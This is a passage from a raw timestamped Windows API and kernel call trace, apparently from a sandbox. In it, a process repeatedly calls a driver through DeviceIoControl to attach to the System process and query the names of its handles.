ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.955] ObfDereferenceObject (Object=0xfffffa80032afae0) returned 0x1 [0110.955] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.955] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.955] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.955] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.955] PsAcquireProcessExitSynchronization () returned 0x0 [0110.955] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.955] ObReferenceObjectByHandle (in: Handle=0xffffffff800004a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032a53f0, HandleInformation=0x0) returned 0x0 [0110.955] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.956] PsReleaseProcessExitSynchronization () returned 0x2 [0110.956] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.956] ObQueryNameString (in: Object=0xfffffa80032a53f0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.956] ObfDereferenceObject (Object=0xfffffa80032a53f0) returned 0x1 [0110.956] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.956] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.956] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0110.956] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.956] PsAcquireProcessExitSynchronization () returned 0x0 [0110.956] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.956] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003435920, HandleInformation=0x0) returned 0x0 [0110.956] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.956] PsReleaseProcessExitSynchronization () returned 0x2 [0110.956] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.956] ObQueryNameString (in: Object=0xfffffa8003435920, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.956] ObfDereferenceObject (Object=0xfffffa8003435920) returned 0x2 [0110.956] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.956] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.956] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0110.956] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.956] PsAcquireProcessExitSynchronization () returned 0x0 [0110.956] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.956] ObReferenceObjectByHandle (in: Handle=0xffffffff800004d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f95050, HandleInformation=0x0) returned 0x0 [0110.956] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.957] PsReleaseProcessExitSynchronization () returned 0x2 [0110.957] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.957] ObQueryNameString (in: Object=0xfffffa8002f95050, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.957] ObfDereferenceObject (Object=0xfffffa8002f95050) returned 0x2 [0110.957] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.957] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.957] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.957] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.957] PsAcquireProcessExitSynchronization () returned 0x0 [0110.957] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.957] ObReferenceObjectByHandle (in: Handle=0xffffffff800004ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800250a420, HandleInformation=0x0) returned 0x0 [0110.957] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.957] PsReleaseProcessExitSynchronization () returned 0x2 [0110.957] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.957] ObQueryNameString (in: Object=0xfffffa800250a420, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.957] ObfDereferenceObject (Object=0xfffffa800250a420) returned 0x2 [0110.957] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.957] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.957] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0110.957] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.957] PsAcquireProcessExitSynchronization () returned 0x0 [0110.957] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.957] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8011864580, HandleInformation=0x0) returned 0x0 [0110.957] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.957] PsReleaseProcessExitSynchronization () returned 0x2 [0110.957] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.957] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.958] ObfDereferenceObject (Object=0xfffffa8011864580) returned 0x1 [0110.958] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.958] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.958] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.958] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.958] PsAcquireProcessExitSynchronization () returned 0x0 [0110.958] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.958] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800268c760, HandleInformation=0x0) returned 0x0 [0110.958] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.958] PsReleaseProcessExitSynchronization () returned 0x2 [0110.958] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.958] ObQueryNameString (in: Object=0xfffffa800268c760, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0110.958] ObfDereferenceObject (Object=0xfffffa800268c760) returned 0x2 [0110.958] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.958] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.958] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.958] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.958] PsAcquireProcessExitSynchronization () returned 0x0 [0110.958] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.958] ObReferenceObjectByHandle (in: Handle=0xffffffff8000051c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800288ff20, HandleInformation=0x0) returned 0x0 [0110.958] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.958] PsReleaseProcessExitSynchronization () returned 0x2 [0110.958] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.958] ObQueryNameString (in: Object=0xfffffa800288ff20, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.958] ObfDereferenceObject (Object=0xfffffa800288ff20) returned 0x2 [0110.958] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.959] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.959] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.959] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.959] PsAcquireProcessExitSynchronization () returned 0x0 [0110.959] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.959] ObReferenceObjectByHandle (in: Handle=0xffffffff80000528, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002135af0, HandleInformation=0x0) returned 0x0 [0110.959] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.959] PsReleaseProcessExitSynchronization () returned 0x2 [0110.959] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.959] ObQueryNameString (in: Object=0xfffffa8002135af0, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.959] ObfDereferenceObject (Object=0xfffffa8002135af0) returned 0x2 [0110.959] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.959] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.959] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.959] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.959] PsAcquireProcessExitSynchronization () returned 0x0 [0110.959] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.959] ObReferenceObjectByHandle (in: Handle=0xffffffff80000534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003add3f0, HandleInformation=0x0) returned 0x0 [0110.959] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.959] PsReleaseProcessExitSynchronization () returned 0x2 [0110.959] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.959] ObQueryNameString (in: Object=0xfffffa8003add3f0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.959] ObfDereferenceObject (Object=0xfffffa8003add3f0) returned 0x2 [0110.959] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.959] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.959] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.960] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.960] PsAcquireProcessExitSynchronization () returned 0x0 [0110.960] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.960] ObReferenceObjectByHandle (in: Handle=0xffffffff80000538, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80022b2960, HandleInformation=0x0) returned 0x0 [0110.960] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.960] PsReleaseProcessExitSynchronization () returned 0x2 [0110.960] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.960] ObQueryNameString (in: Object=0xfffffa80022b2960, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.960] ObfDereferenceObject (Object=0xfffffa80022b2960) returned 0x2 [0110.960] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.960] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.960] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.960] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.960] PsAcquireProcessExitSynchronization () returned 0x0 [0110.960] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.960] ObReferenceObjectByHandle (in: Handle=0xffffffff8000053c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019b6c20, HandleInformation=0x0) returned 0x0 [0110.960] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.960] PsReleaseProcessExitSynchronization () returned 0x2 [0110.960] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.960] ObQueryNameString (in: Object=0xfffffa80019b6c20, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.960] ObfDereferenceObject (Object=0xfffffa80019b6c20) returned 0x2 [0110.960] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.960] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.960] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.960] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.960] PsAcquireProcessExitSynchronization () returned 0x0 [0110.960] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.960] ObReferenceObjectByHandle (in: Handle=0xffffffff80000540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800b97cf20, HandleInformation=0x0) returned 0x0 [0110.961] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.961] PsReleaseProcessExitSynchronization () returned 0x2 [0110.961] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.961] ObQueryNameString (in: Object=0xfffffa800b97cf20, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.961] ObfDereferenceObject (Object=0xfffffa800b97cf20) returned 0x2 [0110.961] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.961] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.961] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.961] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.961] PsAcquireProcessExitSynchronization () returned 0x0 [0110.961] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.961] ObReferenceObjectByHandle (in: Handle=0xffffffff80000544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80029498a0, HandleInformation=0x0) returned 0x0 [0110.961] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.961] PsReleaseProcessExitSynchronization () returned 0x2 [0110.961] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.961] ObQueryNameString (in: Object=0xfffffa80029498a0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.961] ObfDereferenceObject (Object=0xfffffa80029498a0) returned 0x2 [0110.961] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.961] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.961] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.961] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.961] PsAcquireProcessExitSynchronization () returned 0x0 [0110.961] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.961] ObReferenceObjectByHandle (in: Handle=0xffffffff8000054c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800268c3a0, HandleInformation=0x0) returned 0x0 [0110.961] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.961] PsReleaseProcessExitSynchronization () returned 0x2 [0110.962] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.962] ObQueryNameString (in: Object=0xfffffa800268c3a0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.962] ObfDereferenceObject (Object=0xfffffa800268c3a0) returned 0x2 [0110.962] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.962] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.962] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.962] PsAcquireProcessExitSynchronization () returned 0x0 [0110.962] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.962] ObReferenceObjectByHandle (in: Handle=0xffffffff80000550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800254a240, HandleInformation=0x0) returned 0x0 [0110.962] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.962] PsReleaseProcessExitSynchronization () returned 0x2 [0110.962] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.962] ObQueryNameString (in: Object=0xfffffa800254a240, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.962] ObfDereferenceObject (Object=0xfffffa800254a240) returned 0x2 [0110.962] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.962] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 